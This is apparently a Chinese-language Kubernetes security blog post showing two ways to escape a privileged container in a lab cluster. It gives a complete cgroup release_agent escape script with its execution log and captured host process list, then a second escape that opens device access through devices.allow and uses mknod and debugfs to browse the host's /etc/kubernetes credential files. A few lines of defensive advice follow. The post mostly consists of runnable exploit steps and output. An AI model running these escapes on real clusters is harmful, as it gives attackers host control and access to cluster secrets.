Kubernetes攻防 创建 cgroup 进行容器逃逸
创建 cgroup 进行容器逃逸
创建测试容器
apiVersion:apps/v1kind:Deploymentmetadata:name:privileged-centosnamespace:defaultlabels:app:privileged-centosspec:replicas:1selector:matchLabels:app:privileged-centostemplate:metadata:labels:app:privileged-centosspec:containers:-name:centosimage:192.168.101.99:80/base/centos:8command:["/bin/sleep","infinity"]securityContext:privileged:true利用脚本
#!/bin/bash# filename: cgroup-angent.sh# 在容器内创建一个临时目录set-uexmkdir/tmp/cgrp&&mount-tcgroup-omemory cgroup /tmp/cgrp&&mkdir/tmp/cgrp/xecho1>/tmp/cgrp/x/notify_on_releasehost_path=`sed-n's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab`echo"$host_path/cmd">/tmp/cgrp/release_agentecho'#!/bin/sh'>/cmdecho"ps aux >$host_path/output">>/cmdchmoda+x /cmdsh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"sleep2cat"/output"操作
[root@k8s-node1 ~]# kubectl exec -it privileged-centos-576b686949-snc2c /bin/bashkubectlexec[POD][COMMAND]is DEPRECATED and will be removedina future version. Use kubectlexec[POD]--[COMMAND]instead.[root@privileged-centos-576b686949-snc2c /]# vi cgroup-angent.sh[root@privileged-centos-576b686949-snc2c /]# bash cgroup-angent.sh+mkdir/tmp/cgrp +mount-tcgroup-omemory cgroup /tmp/cgrp +mkdir/tmp/cgrp/x +echo1++sed-n's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab +host_path=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs +echo/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd +echo'#!/bin/sh'+echo'ps aux > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/output'+chmoda+x /cmd +sh-c'echo $$ > /tmp/cgrp/x/cgroup.procs'+sleep2+cat/outputUSERPID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root10.00.117330011476? Ss Apr270:31 /usr/lib/systemd/systemd --switched-root--system--deserialize18....root12791.61.42225296117332? Ssl Apr2715:22 /usr/bin/kubelet --bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf--kubeconfig=/etc/kubernetes/kubelet.conf--config=/var/lib/kubelet/config.yaml --container-runtime-endpoint=unix:///var/run/containerd/containerd.sock --hostname-override=node2 --pod-infra-container-image=registry.aliyuncs.com/kubeadm-ha/pause:3.9 --root-dir=/var/lib/kubelet root13420.00.172074815996? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id1174c4110ca3c7c62aeaa9a02d21a9189c743202df3a32410f4e0f3e23a6c7b2-address/run/containerd/containerd.sock root13440.00.272074817148? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-idb08905223037cd4bb2bc36f0c2705518222ad82e57b7a4e37b2428771908c5bc-address/run/containerd/containerd.sock root13630.00.272074817776? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id483ad1894cada0fef13d8c3a68848625e9b006acd308d3efbf49c5632fdf9df6-address/run/containerd/containerd.sock root13840.00.272100419392? Sl Apr270:20 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id79768b9296b6494a6192c6af568ce55368aa623fb26901735e29c0c43fb6a874-address/run/containerd/containerd.sock root13960.00.272074816576? Sl Apr270:29 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-iddfe54792a2cf823d90bee731b82111dbeeaa29594a30fe292faa157277a72e2e-address/run/containerd/containerd.sock root14140.00.272049218752? Sl Apr270:19 /usr/bin/containerd-shim-runc-v2-namespacek8s.io-id7f79bcce964dff1cc2328df785ca83db019698acd456d04600effd8c6a321960-address/run/containerd/containerd.sock... root16740.00.07844? Ss Apr270:00 tini -- /usr/local/bin/start.sh root16773.88.72150064706688? Ssl Apr2735:03 kube-apiserver --advertise-address=192.168.73.202 --allow-privileged=true --authorization-mode=Node,RBAC --client-ca-file=/etc/kubernetes/pki/ca.crt --enable-admission-plugins=NodeRestriction --enable-bootstrap-token-auth=true --encryption-provider-config=/etc/kubernetes/pki/secrets-encryption.yaml --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt --etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt --etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key --etcd-servers=https://192.168.73.201:2379,https://192.168.73.202:2379,https://192.168.73.203:2379 --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname--profiling=false --proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt --proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key --requestheader-allowed-names=front-proxy-client --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --requestheader-extra-headers-prefix=X-Remote-Extra- --requestheader-group-headers=X-Remote-Group --requestheader-username-headers=X-Remote-User --runtime-config=api/all=true --secure-port=6443--service-account-issuer=https://kubernetes.default.svc.cluster.local --service-account-key-file=/etc/kubernetes/pki/sa.pub --service-account-signing-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --service-node-port-range=10000-65535 --tls-cert-file=/etc/kubernetes/pki/apiserver.crt --tls-cipher-suites=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 --tls-private-key-file=/etc/kubernetes/pki/apiserver.key root16900.91.71401432144240? Ssl Apr278:58 kube-controller-manager --allocate-node-cidrs=true --authentication-kubeconfig=/etc/kubernetes/controller-manager.conf --authorization-kubeconfig=/etc/kubernetes/controller-manager.conf --bind-address=127.0.0.1 --client-ca-file=/etc/kubernetes/pki/ca.crt --cluster-cidr=10.244.0.0/18 --cluster-name=kubernetes --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt --cluster-signing-duration=87600h0m0s --cluster-signing-key-file=/etc/kubernetes/pki/ca.key--controllers=*,bootstrapsigner,tokencleaner --feature-gates=RotateKubeletServerCertificate=true--kubeconfig=/etc/kubernetes/controller-manager.conf --leader-elect=true --node-cidr-mask-size=24--node-monitor-grace-period=40s --node-monitor-period=5s--profiling=false --requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt --root-ca-file=/etc/kubernetes/pki/ca.crt --service-account-private-key-file=/etc/kubernetes/pki/sa.key --service-cluster-ip-range=10.244.64.0/18 --terminated-pod-gc-threshold=10--use-service-account-credentials=true root16940.00.090245508? Ss Apr270:00 nginx: master process nginx-gdaemon off;....root3434960.00.0230481464? S+11:400:00 /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep2root3434970.00.0119282784? S11:400:00 /bin/sh /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/266/fs/cmd /x root3434980.00.0497243604? R11:400:00psaux[root@privileged-centos-576b686949-snc2c /]#另外的一个逃逸方式
借助 lxcfs 的思路，复用到 sys_admin 或特权容器的场景上读写宿主机上的文件
创建测试容器
apiVersion:apps/v1kind:Deploymentmetadata:name:privileged-nginxnamespace:defaultlabels:app:privileged-nginxspec:replicas:1selector:matchLabels:app:privileged-nginxtemplate:metadata:labels:app:privileged-nginxspec:containers:-name:nginximage:192.168.101.99:80/base/nginx:alpinecommand:["/bin/sleep","infinity"]securityContext:privileged:true操作
[root@k8s-node1 ~]# kubectl exec -it privileged-nginx-557bf54bc8-lgmkt -- /bin/sh/## 1）挂载 devices 子系统到临时目录（与原 PoC 一致）mkdir-p/tmp/devmount-tcgroup-odevices devices /tmp/dev/# 2）取当前 shell 所在的 devices cgroup 相对路径（容器组件为 containerd 时形如 kubepods.../cri-containerd-xxxx.scope）CGROUP_REL=$(awk-F:'/:devices:/ {print $3}'/proc/self/cgroup)# 示例输出：/kubepods.slice/kubepods-besteffort.slice/kubepods-besteffort-pod31bdef2c_6cd0_43d4_8672_e5e0fdc1e6f9.slice/cri-containerd-9e8fd55b417ded2f4f8587965ac349c63996c297b4666c261eed55b45ee0d40b.scopeecho"$CGROUP_REL"# 3）对「当前进程所在」的 cgroup 放行设备（若 echo a 后 mknod 仍 EPERM，可改为：printf 'a *:* rwm\n' > ...）echoa>"/tmp/dev${CGROUP_REL}/devices.allow"# cat "/tmp/dev${CGROUP_REL}/devices.list"# 4）mknod 的主/次设备号从 mountinfo 中取（与宿主机根盘一致），例如 grep 出 253:0# mknod: Operation not permitted 多因 2）路径不对或未真正写入当前 cgroup，与是否 containerd 无直接矛盾apkadd--no-cache e2fsprogs-extra /tmp/dev# mknod /tmp/near b 253 0/tmp/dev# debugfs -w /tmp/neardebugfs1.47.3(8-Jul-2025)debugfs: debugfs:ls/etc/kubernetes/5767919(12).5767169(12)..5767920(20)manifests5767910(16)plugins5767927(12)pki5767932(16)backup5767939(16)config131528(28)kubeadm-config.yaml5767948(20)admin.conf5767952(24)super-admin.conf5767955(20)kubelet.conf5767959(32)controller-manager.conf5767964(3856)scheduler.conf debugfs: debugfs:防御建议
1、限制容器的 CAP_SYS_ADMIN 权限 2、使用 seccomp 过滤器限制容器内的系统调用 3、监控 cgroup 相关操作，特别是对 notify_on_release 和 release_agent 的修改 4、使用只读文件系统运行容器，减少攻击面